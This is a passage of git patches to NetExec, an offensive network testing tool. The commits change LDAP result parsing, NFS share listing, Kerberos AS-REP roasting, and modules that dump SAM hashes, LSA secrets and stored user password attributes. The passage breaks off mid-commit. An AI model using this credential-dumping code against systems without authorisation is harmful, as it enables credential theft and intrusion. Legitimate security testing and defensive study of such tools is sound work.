Arg moved to the ldap protocol") + self.logger.fail("[REMOVED] Arg moved to the ldap protocol") return def users(self): @@ -1291,12 +1291,12 @@ class smb(connection): return UserSamrDump(self).dump(self.args.users) def computers(self): - self.logger.fail("[DEPRECATED] Arg moved to the ldap protocol") + self.logger.fail("[REMOVED] Arg moved to the ldap protocol") return def loggedon_users(self): if self.args.loggedon_users_filter: - self.logger.fail("[DEPRECATED] Use option '--loggedon-users ' for filtering") + self.logger.fail("[REMOVED] Use option '--loggedon-users ' for filtering") logged_on = set() try: From fff8d09d2a4cc7be0eadce567a0c19dada27110e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 10 Mar 2025 16:04:41 +0100 Subject: [PATCH 333/376] If len(val_list) is zero val_list[0] will crash, this will now return the empty list --- nxc/parsers/ldap_results.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index c12be0e1..da7f90d1 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -18,6 +18,9 @@ def parse_result_attributes(ldap_response): # If we can't decode the value, we'll just return the bytes val_decoded = val.__bytes__() val_list.append(val_decoded) - attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0] + if len(val_list) == 1: + attribute_map[str(attribute["type"])] = val_list[0] + else: + attribute_map[str(attribute["type"])] = val_list parsed_response.append(attribute_map) return parsed_response From 725c96f57a5c0b123bff19ca2f87ddf9a775d2a2 Mon Sep 17 00:00:00 2001 From: Fox Date: Mon, 10 Mar 2025 09:05:40 -0700 Subject: [PATCH 334/376] Use host IP for DNS resolution for asreproasting --- nxc/protocols/ldap.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index b21cf4c7..97257c56 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -805,6 +805,11 @@ class ldap(connection): def asreproast(self): if self.password == "" and self.nthash == "" and self.kerberos is False: return False + + # If kdcHost isn't set, use the target IP for DNS resolution + if not self.kdcHost: + self.kdcHost = self.host + # Building the search filter search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = [ From 2621dcad02d40fe13088ecee4c9645e616ee1437 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 11 Mar 2025 14:51:35 +0100 Subject: [PATCH 335/376] If mount error still list share with available infos --- nxc/protocols/nfs.py | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 04d534cc..2a4fb0bf 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -246,22 +246,23 @@ class nfs(connection): mnt_info = self.mount.mnt(share, self.auth) self.logger.debug(f"Mounted {share} - {mnt_info}") if mnt_info["status"] != 0: - self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}") - continue - file_handle = mnt_info["mountinfo"]["fhandle"] + self.logger.debug(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}") + self.logger.highlight(f"{'-':<11}{'---':<9}{'---'}/{'---':<12} {share:<30} {', '.join(network) if network else 'No network':<15}") + else: + file_handle = mnt_info["mountinfo"]["fhandle"] - info = self.nfs3.fsstat(file_handle, self.auth) - free_space = info["resok"]["fbytes"] - total_space = info["resok"]["tbytes"] - used_space = total_space - free_space + info = self.nfs3.fsstat(file_handle, self.auth) + free_space = info["resok"]["fbytes"] + total_space = info["resok"]["tbytes"] + used_space = total_space - free_space - # Autodetectting the uid needed for the share - attrs = self.nfs3.getattr(file_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + # Autodetectting the uid needed for the share + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.auth["uid"] = attrs["attributes"]["uid"] - read_perm, write_perm, exec_perm = self.get_permissions(file_handle) - self.mount.umnt(self.auth) - self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}") + read_perm, write_perm, exec_perm = self.get_permissions(file_handle) + self.mount.umnt(self.auth) + self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") From 36e4f4fb662845226daaf1b1b23900b6a7524d6f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 11 Mar 2025 14:52:27 +0100 Subject: [PATCH 336/376] Set nfs timeout to 5 seconds --- nxc/protocols/nfs/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index abdba2fd..744de3ce 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -1,7 +1,7 @@ def proto_args(parser, parents): nfs_parser = parser.add_parser("nfs", help="own stuff using NFS", parents=parents) nfs_parser.add_argument("--port", type=int, default=111, help="NFS portmapper port (default: %(default)s)") - nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)") + nfs_parser.add_argument("--nfs-timeout", type=int, default=5, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") From 98c4b15781bc4dc8e8070bdf94426561f70664cc Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 13 Mar 2025 14:40:34 +0100 Subject: [PATCH 337/376] Fix wcc wsus check --- nxc/modules/wcc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/wcc.py b/nxc/modules/wcc.py index fd2f7d1c..5dac6022 100644 --- a/nxc/modules/wcc.py +++ b/nxc/modules/wcc.py @@ -174,7 +174,7 @@ class HostChecker: ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]), ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]), ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]), - ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]), + ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]), ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]), ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]), ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]), From c2cb7521dfa655ba492ba802e668a5056c01d459 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 13 Mar 2025 14:41:27 +0100 Subject: [PATCH 338/376] =?UTF-8?q?Fix=20ldap=20query=20output=20for=20out?= =?UTF-8?q?put=20containing=20special=20chars,=20e.g.=20german=20=C3=A4?= =?UTF-8?q?=C3=B6=C3=BC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- nxc/protocols/ldap.py | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index b21cf4c7..176e02a6 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -990,19 +990,20 @@ class ldap(connection): self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") try: resp = self.search(search_filter, attributes, 0) + resp_parsed = parse_result_attributes(resp) except LDAPFilterSyntaxError as e: self.logger.fail(f"LDAP Filter Syntax Error: {e}") return - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - self.logger.success(f"Response for object: {item['objectName']}") - for attribute in item["attributes"]: - attr = f"{attribute['type']}:" - vals = str(attribute["vals"]).replace("\n", "") - if "SetOf: " in vals: - vals = vals.replace("SetOf: ", "") - self.logger.highlight(f"{attr:<20} {vals}") + for idx, entry in enumerate(resp_parsed): + self.logger.success(f"Response for object: {resp[idx]['objectName']}") + for attribute in entry: + if isinstance(entry[attribute], list) and entry[attribute]: + # Display first item in the same line as attribute + self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}") + for item in entry[attribute]: + self.logger.highlight(f"{'':<20} {item}") + else: + self.logger.highlight(f"{attribute:<20} {entry[attribute]}") def find_delegation(self): def printTable(items, header): From d343e212cd9ecfd7a91b00f1e227243ab222fbcd Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 13 Mar 2025 14:41:54 +0100 Subject: [PATCH 339/376] Fix NFS indent for share listing --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 2a4fb0bf..f8a5b6c8 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -262,7 +262,7 @@ class nfs(connection): read_perm, write_perm, exec_perm = self.get_permissions(file_handle) self.mount.umnt(self.auth) - self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}") + self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + "/" + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") From 493b12e1fb54c28eebf76a0ab0de01d7138d0588 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 14 Mar 2025 11:33:38 +0100 Subject: [PATCH 340/376] Fix get-unixUserPassword/get-userPassword modules which sometimes does not retrieve all users with these attributes --- nxc/modules/get-unixUserPassword.py | 28 ++++++--------------------- nxc/modules/get-userPassword.py | 30 +++++++---------------------- 2 files changed, 13 insertions(+), 45 deletions(-) diff --git a/nxc/modules/get-unixUserPassword.py b/nxc/modules/get-unixUserPassword.py index fbf88a99..314fff82 100644 --- a/nxc/modules/get-unixUserPassword.py +++ b/nxc/modules/get-unixUserPassword.py @@ -1,6 +1,7 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldap as ldap_impacket from nxc.logger import nxc_logger +from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: @@ -20,7 +21,7 @@ class NXCModule: """ def on_login(self, context, connection): - searchFilter = "(objectclass=user)" + searchFilter = "(unixUserPassword=*)" try: context.log.debug(f"Search Filter={searchFilter}") @@ -37,27 +38,10 @@ class NXCModule: nxc_logger.debug(e) return False - answers = [] - context.log.debug(f"Total of records returned {len(resp)}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - sAMAccountName = "" - unixUserPassword = [] - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - elif str(attribute["type"]) == "unixUserPassword": - unixUserPassword = [str(i) for i in attribute["vals"]] - if sAMAccountName != "" and len(unixUserPassword) > 0: - answers.append([sAMAccountName, unixUserPassword]) - except Exception as e: - context.log.debug("Exception:", exc_info=True) - context.log.debug(f"Skipping item, cannot process due to error {e!s}") - if len(answers) > 0: + if resp: + resp_parsed = parse_result_attributes(resp) context.log.success("Found following users: ") - for answer in answers: - context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}") + for user in resp_parsed: + context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}") else: context.log.fail("No unixUserPassword Found") diff --git a/nxc/modules/get-userPassword.py b/nxc/modules/get-userPassword.py index 2888941e..0c78bcdc 100644 --- a/nxc/modules/get-userPassword.py +++ b/nxc/modules/get-userPassword.py @@ -1,6 +1,7 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldap as ldap_impacket from nxc.logger import nxc_logger +from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: @@ -20,7 +21,7 @@ class NXCModule: """ def on_login(self, context, connection): - searchFilter = "(objectclass=user)" + searchFilter = "(userPassword=*)" try: context.log.debug(f"Search Filter={searchFilter}") @@ -37,27 +38,10 @@ class NXCModule: nxc_logger.debug(e) return False - answers = [] - context.log.debug(f"Total of records returned {len(resp)}") - for item in resp: - if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: - continue - sAMAccountName = "" - userPassword = [] - try: - for attribute in item["attributes"]: - if str(attribute["type"]) == "sAMAccountName": - sAMAccountName = str(attribute["vals"][0]) - elif str(attribute["type"]) == "userPassword": - userPassword = [str(i) for i in attribute["vals"]] - if sAMAccountName != "" and len(userPassword) > 0: - answers.append([sAMAccountName, userPassword]) - except Exception as e: - context.log.debug("Exception:", exc_info=True) - context.log.debug(f"Skipping item, cannot process due to error {e!s}") - if len(answers) > 0: + if resp: + resp_parsed = parse_result_attributes(resp) context.log.success("Found following users: ") - for answer in answers: - context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}") + for user in resp_parsed: + context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}") else: - context.log.fail("No userPassword Found") + context.log.fail("No unixUserPassword Found") From c4bf023032144a5f2628935d166ee961ca26c548 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 14 Mar 2025 13:22:16 +0100 Subject: [PATCH 341/376] Improve logging output of --shares --- nxc/protocols/smb.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0161d29a..2b08287a 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1086,6 +1086,7 @@ class smb(connection): try: self.conn.createDirectory(share_name, temp_dir) write_dir = True + self.logger.debug(f"WRITE access with DIR creation on share: {share_name}") try: self.conn.deleteDirectory(share_name, temp_dir) except SessionError as e: @@ -1096,13 +1097,14 @@ class smb(connection): self.logger.debug(f"Error DELETING created temp dir {temp_dir} on share {share_name}: {error}") except SessionError as e: error = get_error_string(e) - self.logger.debug(f"Error checking WRITE access on share {share_name}: {error}") + self.logger.debug(f"Error checking WRITE access with DIR creation on share {share_name}: {error}") try: tid = self.conn.connectTree(share_name) fid = self.conn.createFile(tid, temp_file, desiredAccess=FILE_SHARE_WRITE, shareMode=FILE_SHARE_DELETE) self.conn.closeFile(tid, fid) write_file = True + self.logger.debug(f"WRITE access with FILE creation on share: {share_name}") try: self.conn.deleteFile(share_name, temp_file) except SessionError as e: @@ -1113,7 +1115,7 @@ class smb(connection): self.logger.debug(f"Error DELETING created temp file {temp_file} on share {share_name}") except SessionError as e: error = get_error_string(e) - self.logger.debug(f"Error checking WRITE access with file on share {share_name}: {error}") + self.logger.debug(f"Error checking WRITE access with FILE creation on share {share_name}: {error}") # If we either can create a file or a directory we add the write privs to the output. Agreed on in https://github.com/Pennyw0rth/NetExec/pull/404 if write_dir or write_file: From 97703063b62d33b4be3f16ab3e152ac8c718dd48 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Fri, 14 Mar 2025 23:17:33 +0100 Subject: [PATCH 342/376] Add regsecretdump technique --- nxc/protocols/smb.py | 27 +++++++++++++-------------- poetry.lock | 4 ++-- 2 files changed, 15 insertions(+), 16 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0161d29a..56245802 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -9,10 +9,13 @@ from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.examples.secretsdump import ( RemoteOperations, - SAMHashes, - LSASecrets, NTDSHashes, ) +from impacket.examples.regsecrets import ( + RemoteOperations as RegSecretsRemoteOperations, + SAMHashes, + LSASecrets +) from impacket.nmb import NetBIOSError, NetBIOSTimeout from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -1532,9 +1535,12 @@ class smb(connection): for src, dest in self.args.get_file: self.get_file_single(src, dest) - def enable_remoteops(self): + def enable_remoteops(self, regsecret=False): try: - self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + if regsecret: + self.remote_ops = RegSecretsRemoteOperations(self.conn, self.kerberos, self.kdcHost) + else: + self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) self.remote_ops.enableRegistry() if self.bootkey is None: self.bootkey = self.remote_ops.getBootKey() @@ -1544,7 +1550,7 @@ class smb(connection): @requires_admin def sam(self): try: - self.enable_remoteops() + self.enable_remoteops(regsecret=True) host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): @@ -1562,11 +1568,9 @@ class smb(connection): add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: - SAM_file_name = self.remote_ops.saveSAM() SAM = SAMHashes( - SAM_file_name, self.bootkey, - isRemote=True, + remoteOps=self.remote_ops, perSecretCallback=lambda secret: add_sam_hash(secret, host_id), ) @@ -1579,7 +1583,6 @@ class smb(connection): self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") - SAM.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') @@ -1796,7 +1799,7 @@ class smb(connection): @requires_admin def lsa(self): try: - self.enable_remoteops() + self.enable_remoteops(regsecret=True) def add_lsa_secret(secret): add_lsa_secret.secrets += 1 @@ -1815,12 +1818,9 @@ class smb(connection): add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: - SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets( - SECURITYFileName, self.bootkey, self.remote_ops, - isRemote=True, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) self.logger.success("Dumping LSA secrets") @@ -1833,7 +1833,6 @@ class smb(connection): self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling remote_ops.finish(): {e}") - LSA.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') diff --git a/poetry.lock b/poetry.lock index 97d036cd..36383111 100644 --- a/poetry.lock +++ b/poetry.lock @@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2 [[package]] name = "impacket" -version = "0.13.0.dev0+20250220.93348.6315ebd5" +version = "0.13.0.dev0+20250314.172046.8b4566b1" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -890,7 +890,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "6315ebd5388cf5bf52a809b8101f18d49c6a0ef7" +resolved_reference = "8b4566b12fc79acb520d045dbae8f13446a9d4d7" [[package]] name = "iniconfig" From adb423ef09a60605136feef207cce228de7f72c4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 15 Mar 2025 10:20:30 -0400 Subject: [PATCH 343/376] Remove unused imports --- nxc/modules/get-unixUserPassword.py | 1 - nxc/modules/get-userPassword.py | 1 - 2 files changed, 2 deletions(-) diff --git a/nxc/modules/get-unixUserPassword.py b/nxc/modules/get-unixUserPassword.py index 314fff82..1ab24eaa 100644 --- a/nxc/modules/get-unixUserPassword.py +++ b/nxc/modules/get-unixUserPassword.py @@ -1,4 +1,3 @@ -from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldap as ldap_impacket from nxc.logger import nxc_logger from nxc.parsers.ldap_results import parse_result_attributes diff --git a/nxc/modules/get-userPassword.py b/nxc/modules/get-userPassword.py index 0c78bcdc..638beee1 100644 --- a/nxc/modules/get-userPassword.py +++ b/nxc/modules/get-userPassword.py @@ -1,4 +1,3 @@ -from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap import ldap as ldap_impacket from nxc.logger import nxc_logger from nxc.parsers.ldap_results import parse_result_attributes From 7162fd9c3d86133cbd7b505455109c48251243e2 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 15 Mar 2025 11:08:35 -0400 Subject: [PATCH 344/376] Moved the fix for #592 to kerberoast class because otherwise user without password crashes without DNS --- nxc/protocols/ldap.py | 4 ---- nxc/protocols/ldap/kerberos.py | 5 +++++ 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 97257c56..45ed39d5 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -806,10 +806,6 @@ class ldap(connection): if self.password == "" and self.nthash == "" and self.kerberos is False: return False - # If kdcHost isn't set, use the target IP for DNS resolution - if not self.kdcHost: - self.kdcHost = self.host - # Building the search filter search_filter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = [ diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index 6abb1f19..2e47fd17 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -28,6 +28,7 @@ class KerberosAttacks: self.username = connection.username self.password = connection.password self.domain = connection.domain + self.host = connection.host self.targetDomain = connection.targetDomain self.hash = connection.hash self.lmhash = "" @@ -223,6 +224,10 @@ class KerberosAttacks: message = encoder.encode(as_req) + # If kdcHost isn't set, use the target IP for DNS resolution + if not self.kdcHost: + self.kdcHost = self.host + try: r = sendReceive(message, domain, self.kdcHost) except KerberosError as e: From ae653c283bd7251a11eed7586e24a868a9d5ab32 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 15 Mar 2025 11:09:14 -0400 Subject: [PATCH 345/376] Add fix from ea7e0925a140c8082b3b496d51a0e817710f7f50 to the ldap protocol --- nxc/protocols/ldap.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 45ed39d5..71580000 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -259,7 +259,8 @@ class ldap(connection): ntlm_info = parse_challenge(ntlm_challenge) self.server_os = ntlm_info["os_version"] - if not self.kdcHost and self.domain and self.domain == self.remoteName: + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain + if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") From 26c4847018e515977221cd0ae562480b60042502 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 15 Mar 2025 12:35:50 -0400 Subject: [PATCH 346/376] Revert #411 due to connection issues (#478, #479), possibly concurrency problems --- nxc/protocols/smb.py | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0161d29a..41141b6a 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -308,10 +308,6 @@ class smb(connection): self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") - # If we want to authenticate we should create another connection object, because we already logged in - if self.args.username or self.args.cred_id or self.kerberos or self.args.use_kcache: - self.create_conn_obj() - def print_host_info(self): signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) @@ -357,6 +353,8 @@ class smb(connection): def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") + # Re-connect since we logged off + self.create_conn_obj() lmhash = "" nthash = "" @@ -414,7 +412,6 @@ class smb(connection): if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() - self.create_conn_obj() return True except SessionKeyDecryptionError: # success for now, since it's a vulnerability - previously was an error @@ -447,6 +444,7 @@ class smb(connection): def plaintext_login(self, domain, username, password): # Re-connect since we logged off + self.create_conn_obj() try: self.password = password self.username = username @@ -479,7 +477,6 @@ class smb(connection): if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() - self.create_conn_obj() return True except SessionError as e: error, desc = e.getErrorString() @@ -492,15 +489,14 @@ class smb(connection): return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") - self.create_conn_obj() return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") - self.create_conn_obj() return False def hash_login(self, domain, username, ntlm_hash): # Re-connect since we logged off + self.create_conn_obj() lmhash = "" nthash = "" try: @@ -543,7 +539,6 @@ class smb(connection): if self.args.continue_on_success and self.signing: with contextlib.suppress(Exception): self.conn.logoff() - self.create_conn_obj() return True except SessionError as e: error, desc = e.getErrorString() @@ -557,11 +552,9 @@ class smb(connection): return False except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: self.logger.fail(f"Connection Error: {e}") - self.create_conn_obj() return False except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") - self.create_conn_obj() return False def create_smbv1_conn(self, check=False): From a727f0283f014a2c57a380d2457a99ae9a8f4c66 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Sat, 15 Mar 2025 22:48:25 +0100 Subject: [PATCH 347/376] Add choice to use old or new technique --- nxc/protocols/smb.py | 53 ++++++++++++++++++++++++--------- nxc/protocols/smb/proto_args.py | 4 +-- 2 files changed, 41 insertions(+), 16 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 56245802..a1fa10c6 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -9,12 +9,14 @@ from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.examples.secretsdump import ( RemoteOperations, + SAMHashes, + LSASecrets, NTDSHashes, ) from impacket.examples.regsecrets import ( RemoteOperations as RegSecretsRemoteOperations, - SAMHashes, - LSASecrets + SAMHashes as RegSecretsSAMHashes, + LSASecrets as RegSecretsLSASecrets ) from impacket.nmb import NetBIOSError, NetBIOSTimeout from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp, srvs, wkst @@ -1550,7 +1552,7 @@ class smb(connection): @requires_admin def sam(self): try: - self.enable_remoteops(regsecret=True) + self.enable_remoteops(regsecret=True if self.args.sam == "regdump" else False) host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): @@ -1568,11 +1570,20 @@ class smb(connection): add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: - SAM = SAMHashes( - self.bootkey, - remoteOps=self.remote_ops, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - ) + if self.args.sam == "regdump": + SAM = RegSecretsSAMHashes( + self.bootkey, + remoteOps=self.remote_ops, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) + else: + SAM_file_name = self.remote_ops.saveSAM() + SAM = SAMHashes( + SAM_file_name, + self.bootkey, + isRemote=True, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) self.logger.display("Dumping SAM hashes") SAM.dump() @@ -1583,6 +1594,9 @@ class smb(connection): self.remote_ops.finish() except Exception as e: self.logger.debug(f"Error calling 